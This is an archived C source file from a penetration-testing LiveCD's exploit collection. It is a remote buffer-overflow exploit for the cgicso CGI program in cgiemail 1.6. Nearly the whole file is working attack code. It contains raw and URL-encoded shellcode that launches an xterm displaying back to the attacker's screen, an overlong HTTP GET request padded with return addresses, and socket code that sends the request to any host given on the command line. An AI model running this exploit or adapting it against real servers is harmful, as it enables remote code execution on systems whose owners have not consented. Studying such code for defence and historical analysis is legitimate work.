home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / cgiemail / cso.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  210 lines

  1. /*
  2.  * cso.c (06/30/01)
  3.  *
  4.  * Remote exploit for cgicso included with cgiemail 1.6
  5.  * Tested on Slackware Linux 7.1 running Apache 1.3.20
  6.  * Spawns an xterm on your display.
  7.  *
  8.  *
  9.  * Note: In order to exploit, cgicso must be compiled with
  10.  * CGI_CSO_HARDCODE undefined, otherwise it will bypass
  11.  * the exploitable portion of code.
  12.  *
  13.  *
  14.  * Exploit By: isox of hhp. (isox@chainsawbeer.com)
  15.  * Site: www.hhp-programming.net && 0xc0ffee.com
  16. */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <unistd.h>
  21. #include <sys/socket.h>
  22. #include <netinet/in.h>
  23. #include <netdb.h>
  24.  
  25. #define RET 0xbfffe208 // Slackware 7.1.0
  26. #define LEN 2038
  27. #define PORT 80
  28.  
  29. char noncode[] =
  30.   "\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b"
  31.   "\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88"
  32.   "\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d"
  33.   "\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e"
  34.   "\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  35.   "\x80\xe8\xac\xff\xff\xff"
  36.   "/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K";
  37.  
  38. char code[] =
  39.   "%eb%4f%5e%31%d2%88%56%14%88%56%18%88%56%21%b2%2b%31%c9%b1%9%80%3c"
  40.   "%32%4b%74%5%42%e2%f7%eb%2b%88%34%32%31%d2%89%f3%89%76%36%8d%7e%15"
  41.   "%89%7e%3a%8d%7e%19%89%7e%3e%8d%7e%22%89%7e%42%89%56%46%8d%4e%36%8d"
  42.   "%56%46%31%c0%b0%b%cd%80%31%db%89%d8%40%cd%80%e8%ac%ff%ff%ff%2f%75"
  43.   "%73%72%2f%58%31%31%52%36%2f%62%69%6e%2f%78%74%65%72%6d%38%2d%75%74"
  44.   "%38%2d%64%69%73%70%6c%61%79%38"
  45.   "%31%32%37%2e%30%2e%30%2e%31" // unicoded IP address
  46.   "%3a%30%4b";
  47.  
  48.  
  49.  
  50. int main(int argc, char *argv[]) {
  51.   char *buf, *p;
  52.   long *addressp, address=RET;
  53.   int i, diff=(strlen(code) - strlen(noncode)), sock, debug=0;
  54.   struct hostent *t;
  55.   struct sockaddr_in s;
  56.  
  57.  
  58.   if(argc < 2) {
  59.     fprintf(stderr, "usage: %s <host> [offset [--debug]]\n", argv[0]);
  60.     exit(-1);
  61.   }
  62.  
  63.   if(argc > 2)
  64.     address -= atoi(argv[2]);
  65.  
  66.   if(argc > 3) {
  67.     if((!strcmp(argv[3], "--debug")) || (!strcmp(argv[3], "-d")))
  68.       debug = 1;
  69.   }
  70.  
  71.  
  72.   fprintf(stderr, "Using Address: 0x%lx\n", address);
  73.  
  74.   buf = (char *)malloc(44 + LEN + diff + 1);
  75.   p = buf;
  76.  
  77.  
  78.   (*p++) = 'G';
  79.   (*p++) = 'E';
  80.   (*p++) = 'T';
  81.   (*p++) = ' ';
  82.   (*p++) = '/';
  83.   (*p++) = 'c';
  84.   (*p++) = 'g';
  85.   (*p++) = 'i';
  86.   (*p++) = '-';
  87.   (*p++) = 'b';
  88.   (*p++) = 'i';
  89.   (*p++) = 'n';
  90.   (*p++) = '/';
  91.   (*p++) = 'c';
  92.   (*p++) = 'g';
  93.   (*p++) = 'i';
  94.   (*p++) = 'c';
  95.   (*p++) = 's';
  96.   (*p++) = 'o';
  97.   (*p++) = '?';
  98.   (*p++) = 'f';
  99.   (*p++) = 'i';
  100.   (*p++) = 'n';
  101.   (*p++) = 'g';
  102.   (*p++) = 'e';
  103.   (*p++) = 'r';
  104.   (*p++) = 'h';
  105.   (*p++) = 'o';
  106.   (*p++) = 's';
  107.   (*p++) = 't';
  108.   (*p++) = '=';
  109.   (*p++) = 'A'; // Yes this should be an A
  110.   (*p++) = '&';
  111.   (*p++) = 'q';
  112.   (*p++) = 'u';
  113.   (*p++) = 'e';
  114.   (*p++) = 'r';
  115.   (*p++) = 'y';
  116.   (*p++) = '=';
  117.   (*p++) = 'A'; // Yes this should be an A
  118.   (*p++) = 'A'; // Yes this should be an A
  119.   (*p++) = 'A'; // Yes this should be an A
  120.  
  121.   for(i=0; i<strlen(code); i++)
  122.     (*p++) = code[i];
  123.  
  124.   addressp = (long *)p;
  125.  
  126.   for(i=0; i<(LEN - strlen(code)) + diff; i+=4)
  127.     (*addressp++) = address;
  128.  
  129.  
  130.   strcat(buf, "\n\n");
  131.   fprintf(stderr, "Using length: %d\n", strlen(buf));
  132.  
  133.  
  134.  
  135.  
  136. /*
  137.  * Connect
  138.  */
  139.  
  140.   if(s.sin_addr.s_addr=inet_addr(argv[1])) {
  141.     if(!(t=gethostbyname(argv[1]))) {
  142.       printf("Connection Failed.\n");
  143.       exit(-1);
  144.     }
  145.  
  146.     memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
  147.   }
  148.  
  149.   s.sin_family=AF_INET;
  150.   s.sin_port=htons(PORT);
  151.  
  152.   sock=socket(AF_INET,SOCK_STREAM,0);
  153.  
  154.  
  155.   if(connect(sock,(struct sockaddr*)&s,sizeof(s))) {
  156.     fprintf(stderr, "Connection failed.\n");
  157.     exit(-1);
  158.   }
  159.  
  160.   fprintf(stderr, "done.\n");
  161.   fprintf(stderr, "Sending buffer... ");
  162.   send(sock, buf, strlen(buf), 0);
  163.   fprintf(stderr, "done.\n");
  164.  
  165.   sleep(2);
  166.  
  167.   if(debug == 1) {
  168.     fprintf(stderr, "Entering Debug Mode... \n");
  169.     initstream(sock);
  170.   }
  171.  
  172.   close(sock);
  173.   free(buf);
  174.   exit(0);
  175. }
  176.  
  177.  
  178.  
  179. int initstream(int sock) {
  180.   int n;
  181.   char recvbuf[1024];
  182.   fd_set rset;
  183.  
  184.   while (1) {
  185.     FD_ZERO(&rset);
  186.     FD_SET(sock,&rset);
  187.     FD_SET(STDIN_FILENO,&rset);
  188.     select(sock+1,&rset,NULL,NULL,NULL);
  189.  
  190.     if (FD_ISSET(sock,&rset)) {
  191.       if((n=read(sock,recvbuf,1024)) <= 0) {
  192.         printf("Connection closed by foreign host.\n");
  193.         exit(0);
  194.       }
  195.  
  196.       recvbuf[n]=0;
  197.       printf("%s",recvbuf);
  198.     }
  199.  
  200.     if (FD_ISSET(STDIN_FILENO,&rset)) {
  201.       if((n=read(STDIN_FILENO,recvbuf,1024)) > 0) {
  202.         recvbuf[n]=0;
  203.         write(sock,recvbuf,n);
  204.       }
  205.     }
  206.   }
  207.  
  208.   return;
  209. }
  210.